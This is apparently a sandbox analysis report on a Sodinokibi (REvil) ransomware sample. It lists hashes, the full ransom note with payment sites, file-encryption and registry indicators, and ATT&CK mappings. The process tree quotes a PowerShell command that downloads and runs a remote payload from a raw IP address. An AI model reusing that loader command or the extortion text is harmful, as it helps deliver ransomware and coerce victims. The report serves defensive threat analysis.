sodinokibi | f14eb9a5eaf915aa1fb082741ab3c1d275e0dfed65d67b6dabc2cc7b0d01923f

General

Target

af1dcc03472a3760e7f068ff48725448.bat
Size

214B
MD5

5cef3f9a231d5cf5d5fbd670d721dccd
SHA1

baf5a46fcbe4fae2a70e5d22449ff4ed03a93e33
SHA256

f14eb9a5eaf915aa1fb082741ab3c1d275e0dfed65d67b6dabc2cc7b0d01923f
SHA512

d51a3c23cd1e5a3b079f76697fd46e4ba37fe3890d8ae29c5106d364d86e2f662fee98483c1c6febaf5087a8c3f4b5b11aff9ff633fd263b939ab416442fda02

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.103.242.78/pastes/af1dcc03472a3760e7f068ff48725448

Extracted

Path

C:\be6o1iixm-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your network was ATTACKED, your computers and servers were LOCKED, all files on your system has extension be6o1iixm. Your private data was DOWNLOADED. [+] What does it mean? [+] It means that soon mass media, your partners and clients WILL KNOW about your PROBLEM. [+] How it can be avoided? [+] In order to avoid this issue, you are to COME IN TOUCH WITH US no later than within 3 DAYS and conclude the data recovery and breach fixing AGREEMENT. [+] What if I do not contact you in 3 days? [+] If you do not contact us in the next 3 DAYS we will begin DATA publication. [+] I can handle it by myself [+] It is your RIGHT, but in this case all your data will be published for public USAGE. [+] I do not fear your threats! [+] That is not the threat, but the algorithm of our actions. If you have hundreds of millions of UNWANTED dollars, there is nothing to FEAR for you. That is the EXACT AMOUNT of money you will spend for recovery and payouts because of PUBLICATION. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7FA59E30A8F9FC69 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7FA59E30A8F9FC69 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: kQcD2vSnfwRzBbgDlgn1Wo8DokDiN2VWSvtyxdA87Sq31jInOlxvFwgUoAG8lPj3 pXIOESp7JsSmOSNTF2oMpQENb2eJgIRQErOiqQvFXL1jRtAhHY11uImmfpW7Skvv pUEAJU8Vm9CEQHoFE89fjUk+Qa6Zt7tHD83Yfz8XZB+nemsctjwG0vGINo/vDwG4 Z52uUe3MxjvFzeByv73tRfQuXS0HoNiOysYEMI0CGj+TOmDmHZ/6eUPVPNVYgpZy O5zpNIkBvDLPi405XVnomU7nkthDRMbdXv0NiYNg1a7tFyNvCCCWgZzR2tDVsok8 FSywuqTfXyFRj7io25qfQdJvyOZdSZxiDHe8IrcNDxZzdKukReVeDscneg5VFqzh YuY2aMgbGPzmxIcMuajit/cGN+fA7CFzjv0DFsUGQmPSz1XY+UNDqvoImac/dUYm t7XG/G9jlRVncCMhnMb+QAcSNMo9Eoi6u+o3Hkfvs/8ZX39hg6KrguzWGsJqn49W 2uKVhIyWZ4w+SOmue6nsni1zCAPuSkp0kpH+nwOG14HVFhJssEy6ACwYs58eiDtD UcSfz5ydLWWdL5fBFpdo//doEChfFPYrgZd59qYpgfQ6NYTlXxLGeqjRqwvC8MWY gxRL9RwLYob8ex+Jw9MIEtzj2kmO2pRd8PJXa5iejVPzyC/t0fkHGsCshk/eM8Px flaIAMDp5HSLesfaKxrR88LrNQjHUuECvnNnxRCp9pRUOF9blVyHU7/tag575tlC Cnz7Y5xNh+91H15hPxG16RrYygBQFAZaz4YefmC6RV2AHXHQASiAB5eMVtbt/S+3 nZ/IplNo1CCwpU7OFWVrG5HIdJvoYJw5WxMmJf7hsIyZ33kDg7LYMQd5HuA0syG+ dVH/wkV4ot491/B13GO3zR/ynisKyLXTPUtGKFnfnM7qIwGcc0CYeas8Iprm8FVc 8+To3Sli1ktG3ngJ1WmO3dCn7tX9FOwdhEl9SFSk9MQd6vMPyvGDrxNwb4KI0Km+ r93c9mph77In/85q75GjouduwBH0xUdL2uJkcYAORSyI+QAlEoYWZr6Vz4oZas6l wGZc93KrVG1TdvQh9AjXE/jAkLWBZh6/hmzBOmBJvBZqTj1oRKwOV73JYMFv7v2O 8GkHxMn6yFXJNAyIExEJxAgUhOnex2fIhMGXQ1+nbj60hBvdEuPAIDQ7rq1VsMsF PRJPkZ+8x3pHO9/vF5Lhut/B9LskQXkoy3MTg18y9CNvdMJJJSDYEfu+qVS4EmqY nUlhRIiwiD6YC88d28f8DLey2YtFdA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7FA59E30A8F9FC69

http://decryptor.cc/7FA59E30A8F9FC69

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

10 2792 powershell.exe

flow	pid	process
10	2792	powershell.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\RedoSwitch.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\ConvertFromBlock.tiff => \??\c:\users\admin\pictures\ConvertFromBlock.tiff.be6o1iixm	powershell.exe
File renamed	C:\Users\Admin\Pictures\FormatPing.tiff => \??\c:\users\admin\pictures\FormatPing.tiff.be6o1iixm	powershell.exe
File renamed	C:\Users\Admin\Pictures\MeasureMerge.crw => \??\c:\users\admin\pictures\MeasureMerge.crw.be6o1iixm	powershell.exe
File renamed	C:\Users\Admin\Pictures\RedoSwitch.tiff => \??\c:\users\admin\pictures\RedoSwitch.tiff.be6o1iixm	powershell.exe
File renamed	C:\Users\Admin\Pictures\WaitUninstall.tif => \??\c:\users\admin\pictures\WaitUninstall.tif.be6o1iixm	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\ConvertFromBlock.tiff	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\FormatPing.tiff	powershell.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
File opened (read-only)	\??\S:	powershell.exe
File opened (read-only)	\??\T:	powershell.exe
File opened (read-only)	\??\V:	powershell.exe
File opened (read-only)	\??\W:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\H:	powershell.exe
File opened (read-only)	\??\P:	powershell.exe
File opened (read-only)	\??\U:	powershell.exe
File opened (read-only)	\??\Z:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\I:	powershell.exe
File opened (read-only)	\??\O:	powershell.exe
File opened (read-only)	\??\R:	powershell.exe
File opened (read-only)	\??\X:	powershell.exe
File opened (read-only)	\??\G:	powershell.exe
File opened (read-only)	\??\J:	powershell.exe
File opened (read-only)	\??\K:	powershell.exe
File opened (read-only)	\??\Q:	powershell.exe
File opened (read-only)	\??\Y:	powershell.exe
File opened (read-only)	\??\D:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\L:	powershell.exe
File opened (read-only)	\??\M:	powershell.exe
File opened (read-only)	\??\N:	powershell.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\349.bmp"	powershell.exe

Drops file in Program Files directory 25 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\ResetDisconnect.rmi	powershell.exe
File opened for modification	\??\c:\program files\ResetInstall.mht	powershell.exe
File opened for modification	\??\c:\program files\SavePop.mpv2	powershell.exe
File opened for modification	\??\c:\program files\AddSet.reg	powershell.exe
File opened for modification	\??\c:\program files\CompressStep.pptm	powershell.exe
File opened for modification	\??\c:\program files\EnterRepair.wmv	powershell.exe
File opened for modification	\??\c:\program files\PushCompare.mht	powershell.exe
File opened for modification	\??\c:\program files\ProtectBlock.WTV	powershell.exe
File opened for modification	\??\c:\program files\SkipStep.tif	powershell.exe
File opened for modification	\??\c:\program files\UpdateFormat.html	powershell.exe
File opened for modification	\??\c:\program files\RegisterReceive.m1v	powershell.exe
File opened for modification	\??\c:\program files\RepairConvert.mp2v	powershell.exe
File opened for modification	\??\c:\program files\UnprotectRestore.mid	powershell.exe
File created	\??\c:\program files (x86)\be6o1iixm-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CompressUnregister.au	powershell.exe
File opened for modification	\??\c:\program files\ConnectUnregister.wmv	powershell.exe
File opened for modification	\??\c:\program files\PingDismount.vsw	powershell.exe
File opened for modification	\??\c:\program files\DenyStop.rtf	powershell.exe
File opened for modification	\??\c:\program files\OutEdit.MTS	powershell.exe
File opened for modification	\??\c:\program files\UpdateUninstall.mp4	powershell.exe
File opened for modification	\??\c:\program files\WriteGet.svgz	powershell.exe
File created	\??\c:\program files\be6o1iixm-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ApproveAssert.gif	powershell.exe
File opened for modification	\??\c:\program files\CompleteRename.easmx	powershell.exe
File opened for modification	\??\c:\program files\ConvertToOpen.mht	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

2792 powershell.exe
2792 powershell.exe
2792 powershell.exe
2792 powershell.exe
2792 powershell.exe

pid	process
2792	powershell.exe
2792	powershell.exe
2792	powershell.exe
2792	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeTakeOwnershipPrivilege	2792	powershell.exe
Token: SeBackupPrivilege	2088	vssvc.exe
Token: SeRestorePrivilege	2088	vssvc.exe
Token: SeAuditPrivilege	2088	vssvc.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 428 wrote to memory of 2792	428	cmd.exe	powershell.exe
PID 428 wrote to memory of 2792	428	cmd.exe	powershell.exe
PID 428 wrote to memory of 2792	428	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\af1dcc03472a3760e7f068ff48725448.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/af1dcc03472a3760e7f068ff48725448');Invoke-KSBCZTZ;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2792-0-0x0000000000000000-mapping.dmp

Download
memory/2792-1-0x00000000731E0000-0x00000000738CE000-memory.dmp

Filesize
6.9MB

Download
memory/2792-2-0x0000000004C90000-0x0000000004C91000-memory.dmp

Filesize
4KB

Download
memory/2792-3-0x0000000007860000-0x0000000007861000-memory.dmp

Filesize
4KB

Download
memory/2792-4-0x0000000007600000-0x0000000007601000-memory.dmp

Filesize
4KB

Download
memory/2792-5-0x00000000077A0000-0x00000000077A1000-memory.dmp

Filesize
4KB

Download
memory/2792-6-0x0000000007F70000-0x0000000007F71000-memory.dmp

Filesize
4KB

Download
memory/2792-7-0x00000000080E0000-0x00000000080E1000-memory.dmp

Filesize
4KB

Download
memory/2792-8-0x0000000007F40000-0x0000000007F41000-memory.dmp

Filesize
4KB

Download
memory/2792-9-0x00000000089A0000-0x00000000089A1000-memory.dmp

Filesize
4KB

Download
memory/2792-10-0x00000000087E0000-0x00000000087E1000-memory.dmp

Filesize
4KB

Download
memory/2792-11-0x0000000009FA0000-0x0000000009FA1000-memory.dmp

Filesize
4KB

Download
memory/2792-12-0x0000000009540000-0x0000000009541000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads